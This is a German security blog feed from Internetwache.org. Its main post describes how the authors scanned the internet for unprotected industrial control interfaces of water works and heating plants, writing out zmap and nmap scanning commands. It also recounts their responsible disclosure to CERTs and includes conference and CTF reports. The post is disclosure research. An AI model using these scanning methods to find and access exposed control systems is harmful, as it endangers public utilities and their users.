<li>Skeptisch sein: Keine merkwürdigen Dateien per Doppelklick öffnen</li>
<li>Dateianhänge in Windows anzeigen lassen</li>
<li>In unbekannten WLANs immer vorsichtig agieren</li>
<li>Autodownloads auf fremden Webseiten nicht anklicken</li>
<li>Virensystem auf dem aktuellen Stand halten und regelmäßige Scans durchführen</li>
</ul>


<p>Das Team der Internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Wie wir Wasserwerke im Internet entdeckten]]></title>
    <link href="https://www.internetwache.org/wie-wir-wasserwerke-im-internet-entdeckten-16-08-2016/"/>
    <updated>2016-08-16T01:52:00+02:00</updated>
    <id>https://www.internetwache.org/wie-wir-wasserwerke-im-internet-entdeckten</id>
    <content type="html"><![CDATA[<p>Internetwache.org hat in den vergangenen Monaten die Sicherheit von Industrial Control Systems (ICS) im Internet untersucht. Dabei stießen wir auf über hundert ungesicherte Steuerungen von Wasser-, Heizkraftwerken, Parkplätzen und Gebäuden.</p>

<!-- more -->


<p>Alles begann im Oktober 2015 als Tim <a href="http://www.golem.de/news/smart-city-schweizer-prime-tower-gibt-massenhaft-daten-preis-1601-118552.html">ein Datenleck im Prime Tower</a> entdeckte. Angestoßen von dieser Entdeckung suchte er nach weiteren ICS und wurde alsbald auch fündig. Er entdeckte ein Wasserwerk, welches nach seinem Hinweis an das BSI einige Tage später nicht mehr öffentlich zugänglich war. Im Rahmen des Projektes Internetwache.org haben Tim und Sebastian daraufhin einen großflächigeren Scan durchgeführt und weitere Wasserwerke sowie ICS gefunden. Die zentralen Ergebnisse und eine Einführung in verschiedene Problematiken findet man <a href="http://www.golem.de/news/schwachstellen-aufgedeckt-der-leichtfertige-umgang-mit-kritischen-infrastrukturen-1607-122063.html">in dem Artikel auf Golem.de</a>.</p>

<p>In diesem Blogpost soll die dahinterstehende Methodik und genauere Hintergrundinformationen dargestellt werden.</p>

<h2>Aller Anfang ist schwer&#8230;</h2>

<p>Am Anfang hatte Tim mit Hilfe eines kleinen Python-Scripts angefangen, das Internet nach ICS abzusuchen. Dadurch ließen sich bereits erste erstaunliche Sachen finden (was uns wiederholt zeigt, dass es vermutlich noch mehr zu entdecken gibt) - allerdings war das Vorgehen insgesamt langsam. Zu diesem Zeitpunkt hatte Tim bereits einen Anhaltspunkt entdecken können, mit welchem mit hoher Wahrscheinlichkeit ICS im Internet ausfindig gemacht werden konnten. Es fehlte nur noch ein effizienterer Prozess, um diese &#8220;Nadeln im Heuhaufen&#8221; zu entdecken.</p>

<p>Sebastian hatte daraufhin die Idee, einen neuen Ansatz zu wählen und mit Hilfe des Programmes  <a href="http://zmap.io/">Zmap</a>, ein Tool der University of Michigan, was auch den treffenden Namen &#8220;The Internet Scanner&#8221; trägt, und dem dazugehörigen Tool <a href="https://github.com/zmap/zgrab">Zgrab</a> das Internet nach diesen Systemen zu durchsuchen. Laut Webseite sind damit (je nach verfügbarer Bandbreite) Scans des gesamten Internet in unter 5 Minuten möglich. Damit kann man also den kompletten öffentlichen IPv4-Bereich nach Systemen abscannen, welche auf bestimmten Ports (u.a. Port 80) erreichbar sind, um diese dann später weiter auf bestimmte Kriterien untersuchen zu können.</p>

<p>Der Aufruf sah folgendermaßen aus:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>sudo zmap -B 10M -p 80 --output-fields='*' | ztee results.csv | zgrab --port 80 --http="/" | gzip &gt;  banners.gz </span></code></pre></td></tr></table></div></figure>


<p>Allerdings stellte sich dieser Ansatz, nach einigen Probescans, für uns nicht als optimal heraus, da wir keinen passenden Internetanschluss bzw. Hoster hatten, von dem man einen entsprechenden Scan ohne Abusemails oder ähnliche Nachfolgen hätten durchführen können. Außerdem hätte dies bei einer weniger schnellen Anbindung (&lt;1 Gbit/s) mehrere Stunden in Anspruch genommen - es wären allenfalls Forschungseinrichtungen oder Firmen mit einer solchen Anbindung in Frage gekommen.</p>

<p>Wir wählten also einen anderen Weg, denn Sebastian erinnerte sich, dass ähnliche, fertige Datensätze auf dem Projekt <a href="https://scans.io/">scans.io</a> veröffentlicht werden. Die Daten umfassen internetweite Scans und sind für jeden kostenlos auf der Webseite von <a href="https://scans.io/">scans.io</a> abrufbar. Sie werden weltweit immer wieder zu Forschungszwecke herangezogen und schienen auch uns sehr geeignet für unser Vorhaben. In der Sammlung fanden wir in einer eigenen <a href="https://scans.io/study/sonar.http">Kategorie</a> einen wöchentlichen Scan der HTTP-Antworten aller erreichbaren Systeme auf Port 80 hochgeladen. Dieser Datensatz ist komprimiert rund 80 Gigabyte groß und enthät mehr als 62276536  Einträge.
Bei dem Scan wird versucht alle im Internet erreichbaren IPv4-Adressen abzuscannen, antworten diese - so gelangt ihr Datensatz in den Scan - ist das nicht der Fall, so werden diese nicht mit aufgenommen.</p>

<p>Jeder Eintrag enthält die folgenden Daten im JSON-Format:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>{
</span><span class='line'>    "ip": "8.8.8.8"
</span><span class='line'>    "host": "8.8.8.8",
</span><span class='line'>    "vhost": "8.8.8.8", 
</span><span class='line'>    "port": 80, 
</span><span class='line'>    "data": base64(HTTP-Antwort), 
</span><span class='line'>}</span></code></pre></td></tr></table></div></figure>


<p>Der &#8220;data&#8221;-Eintrag enthielt die komplette HTTP-Antwort des angesprochenen Servers, inklusive HTTP-Headern und komplettem Inhalt, allerdings noch mittels &#8220;base64&#8221; kodiert.</p>

<h2>Durchführen des Scans</h2>

<p>Alle HMIs ließen sich an einem bestimmten Wert in einem der HTTP-Header erkennen (wie bereits oben beschrieben), sodass Sebastian ein kleines Python-Script schrieb, welches den heruntergeladenen Datensatz dekomprimierte, zeilenweise auslies und nach dem Base64-Dekodieren der Daten nach einem bestimmten Header ausschau hielt, der in zwei verschiedenen Variationen vorkommen konnte. Wir reduzierten den Datensatz auf 1796 Einträge.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; python2 filter_scansio.py
</span><span class='line'>$&gt; wc -l output*.ips
</span><span class='line'>     142 output-type1.ips
</span><span class='line'>    1654 output-type2.ips</span></code></pre></td></tr></table></div></figure>


<p>Die Ausgabe des Scriptes enthielt einige unnötige Leerzeilen und möglicherweise doppelte Einträge, sodass wir uns entschieden, alle IP-Adresse zu extrahieren:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; grep -oP "\d+\.\d+\.\d+\.\d+" /tmp/output-*.ips | sort | uniq | tac | wc -l 
</span><span class='line'>838</span></code></pre></td></tr></table></div></figure>


<p>In einem ersten Durchlauf testeten wir alle IP-Adressen erneut auf Erreichbarkeit und ob sie ein HMI darstellen oder nicht.  Dabei stellten wir fest, dass nicht wenige der Systeme Gebrauch von dem in das Produkt integrierte HTTP-Basic-Authentication-Protokolls machten, also einen Passwortschutz konfiguriert hatten. Allerdings stellte sich auch heraus, dass der Wert nach dem gesucht wurde, nicht eindeutig ist und erstaunlicherweise auch mehrere Pornoseiten diesen in ihrem HTML-Quelltext nutzen, sodass hier viele Falsepositives enstanden.</p>

<p>Ein weiterer Filter musste angewendet werden. Diesmal orientierten wir uns an einem Dateinamen einer Javascriptdatei, welche in allen Webseiten des Herstellers genutzt wird.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; python2 js_filter.py | sort | uniq | tac | wc -l                  </span></code></pre></td></tr></table></div></figure>


<p>Der Datensatz reduzierte sich weiter auf über 60 Systeme, welche alle ohne Passwortschutz im Internet waren.</p>

<p>Nach den ersten Kontaktaufnahmen und Abschirmungen vom Internet stellte sich das manuelle Überprüfen der Systeme als unhandlich heraus. Sebastian entwickelte daher ein Plugin für die Nmap-Script-Engine (NSE), welches die zuvor genannten Filterschritte und Erkennungen durchführte. Der Aufruf sah folgendermaßen aus:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; nmap -n -PN -d --script nmap-find-hmis.nse -p 80 -iL all.ips  -oX nmap-all-ips-plugin-scan.xml -T paranoid</span></code></pre></td></tr></table></div></figure>


<p>
Die Ausgaben des Scriptes wurden im XML-Format durch Nmap gespeichert und mussten nur noch auf die entsprechenden Kategorien gefiltert werden:</p>

<ul>
<li>&#8220;Discovered, authenticated&#8221;</li>
<li>&#8220;Discovered, unauthenticated&#8221;</li>
<li>&#8220;Not Discovered&#8221;</li>
</ul>


<p>Dies erledigte ein weiteres Python-Script:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; python2 filter-nmap-plugin.py ./nmap-all-ips-plugin-scan.xml | sort -u | grep "Discovered, unauthenticated" | wc -l 
</span><span class='line'>42
</span><span class='line'>$&gt; python2 filter-nmap-plugin.py ./nmap-all-ips-plugin-scan.xml | sort -u | grep "Discovered, authenticated" | wc -l 
</span><span class='line'>40 
</span><span class='line'>$&gt; python2 filter-nmap-plugin.py ./nmap-all-ips-plugin-scan.xml | sort -u | grep "Not Discovered" | wc -l
</span><span class='line'>673 </span></code></pre></td></tr></table></div></figure>


<p>Wobei &#8220;unauthenticated&#8221; für Onlinesteuerungen ohne HTTP-Basic-Authenthication steht, und &#8220;authenticated&#8221; entsprechend für die geschützten Systeme. Je nach verwendetem Proxy und Timeout variierten die Ergebnisse ein wenig auf Grund der teilweise langen Antwortzeiten der Systeme.</p>

<h2>Auswertung</h2>

<p>Am Ende haben wir so eine Liste erhalten - mit der wir sehr gut weiterarbeiten und die eigentliche Auswertung starten konnten.
Von den entdeckten Systemen waren ungefähr 50% mittels HTTP-Basic-Authentication abgesichert und genauso viele leider nicht. Dabei korrelierte die HTTP-Authentication meist mit der Verschlüsselung. Nicht besonders geschützten Systeme (ohne HTTP-Authentication) haben wir uns genauer angeschaut, indem wir sie manuell im Browser geöffnet haben. Dabei konnten wir feststellen, dass die HMIs in folgenden Bereichen eingesetzt wurden:</p>

<ul>
<li>Wasserwerke: 4</li>
<li>Parkplatzanlagen: ~10</li>
<li>Smart Homes + Hotels: >5</li>
<li>Biogasanlagen / Blockheizkraftwerke / Fernheizwerke: 7</li>
</ul>


<p>Laut Geo-IP-Location waren vor allem die Länder aus dem DACH Bereich betroffen, aber auch aus den USA, Frankreich, Italien oder Israel. Das liegt vermutlich vor allem daran, dass der Hersteller der Software überwiegend im DACH-Bereich seine Software vertreibt und in anderen Ländern Reseller den Vertrieb übernehmen.</p>

<p>Nach diesen Erkenntnissen wandten wir uns an über 10 CERTs von betroffenen Ländern und schilderten das Problem. Zudem baten wir um eine rasche Kontaktaufnahme mit den jeweiligen Betreibern. Die meisten CERTs bedankten sich für den Hinweis und teilten uns mit, man habe die Informationen weitergeleitet. Tatsächlich konnten wir in den darauffolgenden Wochen feststellen, dass immer mehr Systeme auf unserer Liste offline waren oder den Passwortschutz aktiviert hatten.</p>

<p>Auch das Betreiben eines mittels HTTP-Basic-Authentication geschützten Systems im öffentlichen Internet ist durchaus bedenklich, wenn man es unter dem Gesichtspunkt der IT-Sicherheit betrachtet. Einem Angreifer ist es möglich von außen zu erkennen, dass eine Software genutzt wird, welche sich für Anlagensteuerungen nutzen lässt - mittels der Informationen aus dem WHOIS oder dem IP-Lookup lassen sich ebenfalls Rückschlüsse auf die Betreiber ziehen. Wir haben beispielsweise IP-Adressen gefunden, bei denen eine Zuordnung durch offen zugängliche Informationen möglich war (etwa Stadtwerken und Unternehmen).</p>

<p>Mehr Informationen dazu finden sich in unserem Golem.de-Artikel](http://www.golem.de/news/smart-city-schweizer-prime-tower-gibt-massenhaft-daten-preis-1601-118552.html)</p>

<h2>Sicherheitslücken</h2>

<p>Im Rahmen der Untersuchung warfen wir ebenfalls einen kleinen Blick auf die Sicherheit der Webapplikation, nachdem Tim an einer Stelle eine Vermutung hatte. Tatsächlich gelang es Sebastian Tims Vermutung in eine erste Cross-Site-Scripting Lücke zu verwandeln. Außerdem entdeckte er noch eine HTTP-Header-Injection. Beide Sicherheitslücken und die Schließung letzterer werden zur Zeit über das Cert-CC mit dem Hersteller koordiniert.</p>

<h2>Updates</h2>

<p>Sobald der Hersteller die Lücken behoben hat und/oder das Cert-CC sein Advisory veröffentlicht, sowie mehr betroffene Systeme offline sind, werden wir nach und nach mehr Informationen und unsere Tools veröffentlichen.</p>

<h2>Timeline</h2>

<p>Damit es möglich ist sich einen Eindruck von dem &#8220;Verlauf der Dinge&#8221; zu verschaffen, teilen wir hier die grobe Timeline:</p>

<ul>
<li><p><strong><em>Oktober 2015</em></strong></p>

<ul>
<li> Beschäftigung mit Industrieroutern / Fund: Prime Tower Webapplikation</li>
</ul>
</li>
<li><p><strong><em>Oktober 2015 - Januar 2016</em></strong></p>

<ul>
<li> Mehrfache Meldung an Betreiberin => 3 Monate, responsible disclosure Zeit abgelaufen</li>
</ul>
</li>
<li><p><strong><em>22.01.2016</em></strong></p>

<ul>
<li> Artikel auf <a href="http://www.golem.de/news/smart-city-schweizer-prime-tower-gibt-massenhaft-daten-preis-1601-118552.html">golem.de</a></li>
</ul>
</li>
<li><p><strong><em>22.01.2016 (6 Stunden nach Artikelveröffentlichung)</em></strong></p>

<ul>
<li> Offlinenahme der Webapplikation / Statement der Betreiberin <a href="https://hacking-im-web.de/blog-sicherheit-prime-tower.html">(siehe ausführliche Beschreibung und Analyse der Ereignisse)</a></li>
</ul>
</li>
<li><p><strong><em>März / April 2016</em></strong></p>

<ul>
<li> Analyse der gespeicherten Dateien (HTTP-Requests, etc.), schreiben Scanscript und Nutzung &#8220;zmap&#8221;</li>
</ul>
</li>
<li><p><strong><em>Anfang April 2016</em></strong></p>

<ul>
<li> erster Scan auf öffentliche IP-Adressen (Fund von einigen Systemen - teils kritisch, teils weniger kritisch)</li>
</ul>
</li>
<li><p><strong><em>11.04.2016</em></strong></p>

<ul>
<li> Email: Nachfrage bei Hersteller, ob bewusst, dass so viele Systeme online

<ul>
<li> Nachfrage nach Security-Hinweis im Handbuch</li>
<li> Erste Nachfrage zur Unregelmäßigkeit beim Parametern (später werden daraus die Sicherheitslücken)</li>
</ul>
</li>
</ul>
</li>
<li><p><strong><em>Mitte April 2016</em></strong></p>

<ul>
<li> Wochenende: weitere Scans / Analyse der Scans: Fund Wasserwerk (!) Tim und Sebastian finden XSS</li>
</ul>
</li>
<li><p><strong><em>17.04.2016</em></strong></p>

<ul>
<li> Email an Bund-CERT (BSI) - Mitteilung über Wasserwerke</li>
</ul>
</li>
<li><p><strong><em>18.04.2016</em></strong></p>

<ul>
<li> BSI Bestätigung: &#8220;Wir werden auf die Betreiber zugehen und uns hier um Abhilfe bemühen.&#8221;</li>
</ul>
</li>
<li><p><strong><em>19.04.2016</em></strong></p>

<ul>
<li> Antwort vom Hersteller - überwiegend allgemeine Infos zu Produkten</li>
</ul>
</li>
<li><p><strong><em>19.04.2016</em></strong></p>

<ul>
<li> Antwort an Hersteller

<ul>
<li> Nennung der XSS Lücke</li>
<li> Erwähnung: Fund Wasserwerk</li>
<li> Nachfrage: Telefonat</li>
</ul>
</li>
</ul>
</li>
<li><p><strong><em>Ende April 2016</em></strong></p>

<ul>
<li> Sebastian entdeckt HTTP-Header-Injection (Proof of Concept wird an Hersteller geschickt)</li>
</ul>
</li>
<li><p><strong><em>20.05.2016 (1 Monat nach unserer Antwort)</em></strong></p>

<ul>
<li> Antwort vom Hersteller - Telefonat möglich</li>
</ul>
</li>
<li><p><strong><em>20.05.2016</em></strong></p>

<ul>
<li> Telefonat mit Hersteller via Skype</li>
<li> Inhalt:

<ul>
<li> Hersteller sieht sich generell nicht in der Vorantwortung für Kundenprojekte im Internet</li>
<li> Hersteller möchte keine generelle Sicherheitsinfo an Kunden geben, kann aber individuelle Ansprache über Reseller vornehmen</li>
<li> Security-Hinweise: &#8220;in Überarbeitung&#8221;, Übersendung soll im Mai erfolgen</li>
<li> Frage nach Test-Umgebung: kann im Mai zur Verfügung gestellt werden</li>
</ul>
</li>
</ul>
</li>
<li><p><strong><em>Ende Mai</em></strong></p>

<ul>
<li> Sebastian entwickelt neues Script => besseres und schnelleres Scannen möglich

<ul>
<li> Nutzung der Scans von scans.io</li>
<li> Entwicklung eines Plugins für nmap</li>
<li> Durchführung des Intensiv-Scan (Ergebnisliste mit über 120 Treffern, teils mit Authentifizierung, teils ohne)</li>
<li> Erste Sichtung der Ergebnisse (weitere Funde)</li>
</ul>
</li>
</ul>
</li>
<li><p><strong><em>26.05.2016</em></strong></p>

<ul>
<li> Email an Hersteller

<ul>
<li> Nennung der zentralen Scanergebnisse</li>
<li> Bitte um schnelle Behebung der Sicherheitslücken</li>
<li> Bitte Informationen über Reseller zu vermitteln</li>
</ul>
</li>
</ul>
</li>
<li><p><strong><em>Ende Mai 2016</em></strong></p>

<ul>
<li> Versendung von Infos an mehr als 10 CERTs weltweit</li>
</ul>
</li>
<li><p><strong><em>06.06.2016</em></strong></p>

<ul>
<li> Antwort vom Hersteller (letzte erhaltene Email): generelle Informationen</li>
</ul>
</li>
<li><p><strong><em>09.06.2016</em></strong></p>

<ul>
<li> Antwort auf die Email von Hersteller: Konkrete Nachfragen zu den Lücken und Disclosure-Prozess</li>
</ul>
</li>
<li><p><strong><em>17.06.2016</em></strong></p>

<ul>
<li> Letzte Nachfrage bei Hersteller</li>
<li> keine Reaktion:

<ul>
<li>keine Informationen zu den Sicherheitslücken</li>
<li>kein Security-Paper (Handbuch zum sicheren Betrieb) => Sollte bereits im Mai fertig sein.</li>
<li>keine Testumgebung</li>
</ul>
</li>
</ul>
</li>
<li><p><strong><em>Ende Juni / Anfang Juli 2016</em></strong></p>

<ul>
<li> Erneutes Anschreiben zahlreicher CERTs / Betreiber</li>
<li> Abwarten bis Applikationen offline</li>
</ul>
</li>
<li><p><strong><em>Anfang Juli 2016</em></strong></p>

<ul>
<li> Meldung der Sicherheitslücken an das CERT Coordination Center</li>
</ul>
</li>
<li><p><strong><em>15.07.2016</em></strong></p>

<ul>
<li> Veröffentlichung des Artikels auf <a href="http://www.golem.de/news/schwachstellen-aufgedeckt-der-leichtfertige-umgang-mit-kritischen-infrastrukturen-1607-122063.html">golem.de</a></li>
<li> Veröffentlichung des Teaser-Artikels auf <a href="http://www.spiegel.de/netzwelt/web/deutschland-sicherheitsluecke-wasserwerke-ungeschuetzt-im-internet-a-1103147.html">Spiegel.de</a></li>
<li> Zahlreiche weitere Medien nehmen die Erkenntnisse aus unserer Untersuchung in die Berichterstattung auf</li>
</ul>
</li>
<li><p><strong><em>16.07.2016</em></strong></p>

<ul>
<li> Veröffentlichung Artikel im <a href="http://www.spiegel.de/spiegel/it-sicherheit-industrie-4-0-anfaellig-fuer-cyberattacken-a-1103685.html">Print Spiegel</a></li>
</ul>
</li>
</ul>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Zu Besuch auf Troopers 2016]]></title>
    <link href="https://www.internetwache.org/zu-besuch-auf-troopers-2016-04-04-2016/"/>
    <updated>2016-04-04T17:32:00+02:00</updated>
    <id>https://www.internetwache.org/zu-besuch-auf-troopers-2016</id>
    <content type="html"><![CDATA[<p><a href="https://twitter.com/gehaxelt">Sebastian</a> war dieses Jahr vom 14. bis 18. März auf <a href="http://troopers.de/">Troopers</a>, einem IT Security Event in Heidelberg, welches von der ERNW GmbH organisiert wird. In diesem Blogpost möchte er seinen Eindruck von dem Event schildern - damit diejenigen, die dieses Jahr vielleicht nicht dabei waren, wissen, was es dort sehenswertes gab.</p>

<!-- more -->


<p>Sebastian hatte Gelegenheit dieses Jahr Mitte März nach Heidelberg zu fahren, um auf Troopers einige Eindrücke zu sammeln und nette Personen zu trefffen.</p>

<p>Die Konferenz ließ sich grob in drei Teile gliedern:</p>

<ul>
<li>Die <a href="https://www.troopers.de/troopers16/trainings/">Trainings</a> fanden am 14. und 15. März statt und stellten 1 bis 2-tägige Workshops in verschiedenen Themenbereichen dar. Parallel dazu fand der IPv6-Security-Summit statt.</li>
<li>Die <a href="https://www.troopers.de/troopers16/agenda/">Hauptkonferenz</a> fand am 16. und 17. März statt.</li>
<li>Die <a href="https://www.troopers.de/troopers16/roundtables/">Roundtables</a> schlossen die Konferenz am 18. März ab und stellten eine Möglichkeit zur Diskussion über verschiedene Themen dar.</li>
</ul>


<p>Sebastian hatte sich mit einem &#8220;Student Motivation Letter&#8221; als Student für die Hauptkonferenz beworben und wurde als einer der &#8216;Next Generation Hacker&#8217; angenommen. Nach einer 13-stündigen Busfahrt (aus Berlin) war Sebastian angekommen und traf direkt zwei weitere Studenten-Hacker im Hostel. Am Mittwoch startete die Hauptkonferenz mit einer interessantes Begrüßung und Keynote. Unter den rund 300 Besuchern waren etwa 50 Speaker anwesend. Die Talks waren auf drei verschiedene Tracks verteilt:</p>

<ul>
<li>Attack &amp; Research</li>
<li>Defense &amp; Management</li>
<li>SAP Security</li>
</ul>


<p>Bei so vielen interessanten Talks war es schwer zu entscheiden, welchen man sich anhören sollte, deswegen gibt es hier nur eine kleine Übersicht über Talks die ich ganz interessant fand:</p>

<ul>
<li><a href="https://www.troopers.de/events/troopers16/602_mind_the_gap_-_exploit_free_whitelisting_evasion_tactics/">Casey Smith - Mind The Gap - Exploit Free Whitelisting Evasion Tactics</a></li>
<li><a href="https://www.troopers.de/events/troopers16/630_attacking_next-generation_firewalls/">Felix Wilhelm - Attacking Next-Generation Firewalls</a></li>
<li><a href="https://www.troopers.de/events/troopers16/631_imma_chargin_mah_lazer_-_how_to_protect_against_ddos_attacks/">Oliver Matula - Imma Chargin Mah Lazer - How to protect against (D)DoS attacks</a></li>
<li><a href="https://www.troopers.de/events/troopers16/624_hollywood_hacking/">Adrian Dabrowski - Hollywood Hacking</a></li>
<li><a href="https://www.troopers.de/events/troopers16/691_how_easy_to_grow_robust_botnet_with_low_hanging_fruits_iot_-_for_free/">Attila Marosi - How easy to grow robust botnet with low hanging fruits (IoT) - for free</a></li>
</ul>


<p>Aber die Talks waren nicht die einzige Attraktion auf dieser Konferenz. Nebenbei gab es ein eigenes GSM Netzwerk und lokales CTF. Die Lösungen für diesen, als auch für den PacketWars CTF, finden sich auf <a href="https://0day.work/troopers-2016-challenge-and-packetwars-writeups/">0day.work</a>. PacketWars fand nach dem leckeren Shared Dinner am Mittwochabend statt. Sebastian hat diesen als Teil des Teams &#8216;Squareroots&#8217; bestritten und gemeinsam den 1. Platz erspielt.</p>

<p>Ein weiteres Highlight waren die elektronischen Badges, die am 2. Tag der Hauptkonferenz verteilt wurden:</p>

<p><a rel="fancybox"href="/images/posts/troopers16-badge.jpg" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/troopers16-badge.jpg" alt="Bild der elektronischen Badge" title="Elektronische Badge der Trooper 2016" /></a></p>

<p>Ein weiteres tolles Hardware-Gadget zum Selbstlöten war das USB-Kondom. Das ist ein kleiner USB-Adapter, bei dem die USB-Datenleitungen gekappt sind, sodass nur der Strom zum Laden durchgelassen wird.</p>

<p><a rel="fancybox"href="/images/posts/troopers16-usb.jpg" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/troopers16-usb.jpg" alt="Bild eines USB-Kondoms" title="Selbstgelötetes USB-Kondom" /></a></p>

<p>Allgemein kann man sagen, dass das Event sehr gut organisiert war. Es hat mir persönlich weitergeholfen und ich habe viele neue nette Menschen getroffen. Ich würde mich freuen nächstes Jahr wieder als Student teilnehmen zu dürfen.</p>

<p>Das Team der Internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Internetwache CTF 2016 im Rückblick]]></title>
    <link href="https://www.internetwache.org/internetwache-ctf-2016-im-ruckblick-06-03-2016/"/>
    <updated>2016-03-06T16:56:00+01:00</updated>
    <id>https://www.internetwache.org/internetwache-ctf-2016-im-ruckblick</id>
    <content type="html"><![CDATA[<p>Vorletztes Wochenende haben wir unser erstes Capture the Flag im jeopardy Style veranstaltet: Den Internetwache CTF 2016</p>

<p>In diesem Blogpost möchten wir aus unserer Sicht einige Dinge zum CTF berichten. Was war das Setup? Was lief schief? Was haben wir gelernt? Was war gut? Was können wir im nächsten Jahr besser machen?
Wir hoffen, dass dieser Artikel vielleicht anderen CTF Veranstaltern in Zukunft helfen kann.</p>

<!-- more -->


<p>Zunächst einmal ein paar Worte zu uns: Sebastian (aka <a href="https://twitter.com/gehaxelt">gehaxelt</a>) hat bereits in der Vergangenheit mit dem Team <code>ENOFLAG</code> an einigen CTFs teilgenommen (jeopardy / attack-defense). <a href="https://twitter.com/TimPhSchaefers">Tim</a> (aka TPS) nimmt nicht an CTFs teil, fand die Idee von Sebastian ein eigenes CTF zu veranstalten allerdings sehr gut und hat ihn deswegen etwas unterstützt.</p>

<p>Im November letzten Jahres hatte Sebastian die Idee, dass man selbst einmal ausprobieren könnte einen jeopardy-style CTF zu veranstalten. Er war interessiert daran Aufgaben für andere Hacker zu erstellen und zu sehen, wie diese mit diesen umgehen. Anfang Febuar 2016 war es dann soweit: Wir haben unseren ersten CTF auf <a href="https://ctftime.org/event/290">ctftime.org</a> angekündigt und haben sogar eine Gewichtung von 5.00 erhalten. Die Wertung hat uns etwas gewundert, da sie von den ctftime.org-Admins subjektiv vergeben wird und wir eigentlich damit gerechnet haben, eine Gewichtung von 0,00 zu erhalten - schließlich haben wir zum ersten Mal ein CTF angekündigt und organisiert. Natürlich würden wir uns freuen, wenn wir diese Gewichtung weiter ausbauen könnten (bspw. im nächsten Jahr) und sich unser CTF positiv weiterentwickerlt :)</p>

<p>Der CTF sollte am 20. Febuar 2016 veranstaltet werden - wir hatten also rund 3 Wochen um alle Vorbereitungen abzuschließen. Die Besonderheit, sofern man von einer Besonderheit sprechen kann, bestand darin, dass wir die Challenges nicht nach Schwierigkeit gestaffelt haben. Das hat mehere Gründe: Erstens ist es immer schwer einzustufen, wie schwierig eine Aufgabe wirklich ist und zweitens sollte das Vorgehen etwas an Klausuren angelehnt sein - bei denen weiß man auch nicht unbedingt auf den ersten Blick welche Aufgaben einem leicht fallen und welche schwer :)</p>

<p>Insgesamt denken wir, dass der CTF nicht schlecht war - auch da wir einige sehr positive Rückmeldungen aus der Community erhalten haben. Wir werden uns einige Rückmeldungen später noch einmal genauer anschauen.</p>

<h2>Einige Zahlen:</h2>

<p>Um einen Eindruck vom CTF zu bekommen - hier einige Zahlen:</p>

<ul>
<li>Scoreboard (Bestenliste): <a href="https://ctf.internetwache.org/scoreboard">https://ctf.internetwache.org/scoreboard</a></li>
<li>Durchführungszeitraum: 36 Stunden (20 Feb. 2016, 12:00 CET — 22 Feb. 2016, 00:00 CET)</li>
<li>Registrierte Teams: ~1500</li>
<li>Aktive Teilnehmerteams: ~650</li>
<li>Teams, welche alle Challenges gelöst haben: 38</li>
<li><a href="https://ctftime.org/event/290/">Ctftime.org</a> Bewertung: 4.5</li>
<li><a href="https://ctftime.org/event/290/">Ctftime.org</a> Gewichtung: 5.00</li>
<li>Wall of Shame: 35 IP Adressen</li>
<li>HTTP Anfragen: 2336957</li>
<li>Traffic (Netzwerkverkehr): ~20 GB</li>
<li>Kosten: 20$ (Hosting)</li>
<li>Preis: 0 (Nichts) (Wenn Sie oder Du beim nächsten CTF als Sponsor auftreten möchten - können Sie/Du sich gern bei uns über <a href="https://www.internetwache.org/pgp-kontakt/">Email</a> melden: :) )</li>
</ul>


<p>Wir waren sehr erfreut, dass es tatsächlich 650 aktive Teams gab (die mindestens eine Challenge gelöst haben). Das ist etwas weniger als 50% der registrierten Nutzer. Etwas enttäuscht waren wir von 35 Leuten, da sie offensichtlich nicht aufmerksam die Regeln gelesen haben und mit aggressiven Tools das CTF überlisten wollten - dadurch haben sie sich alle einen Platz in unseren Iptables verdient. Wie auch immer, einigen Leuten haben wir nach einer Entschuldigung auch wieder Zugang gewährt :). Eine andere Sache die wir überschätzt haben, war der Traffic - im Großen und Ganzen hielt unser Aufbau der Belastung gut Stand.</p>

<h2>Setup</h2>

<p>Im Bereich Hosting haben wir auf <a href="https://m.do.co/c/e3c0f58ce639">Digitalocean.com</a> vertraut, weil wir dort noch einiges an <a href="https://www.internetwache.org/bug-bounty-digitalocean-schliesst-mehrere-csrf-lucken-12-03-2014/">Belohnung</a> auf unserem Account hatten und Sebastian bislang sehr zufrieden mit dem Anbieter war. Ein weiterer Grund war, dass die Dienste dort prima funktionieren
- VMs lassen sich in weniger als einer Minute hochfahren oder sichern (snapshotten) - was das Austesten von Konfigurationen erleichert.</p>

<p>Insgesamt haben wir uns 4 virtuelle Maschinen (VMs) angemietet:</p>

<ul>
<li>1x $5/mo als Monitoring VM, welche Performance-Daten der anderen VMs eingesammelt und dargestellt hat. Dazu haben wir <a href="https://collectd.org/">Collectd</a> genutzt.</li>
<li>3x $80/mo VMs als Proxy, Service und Webserver VMs.</li>
</ul>


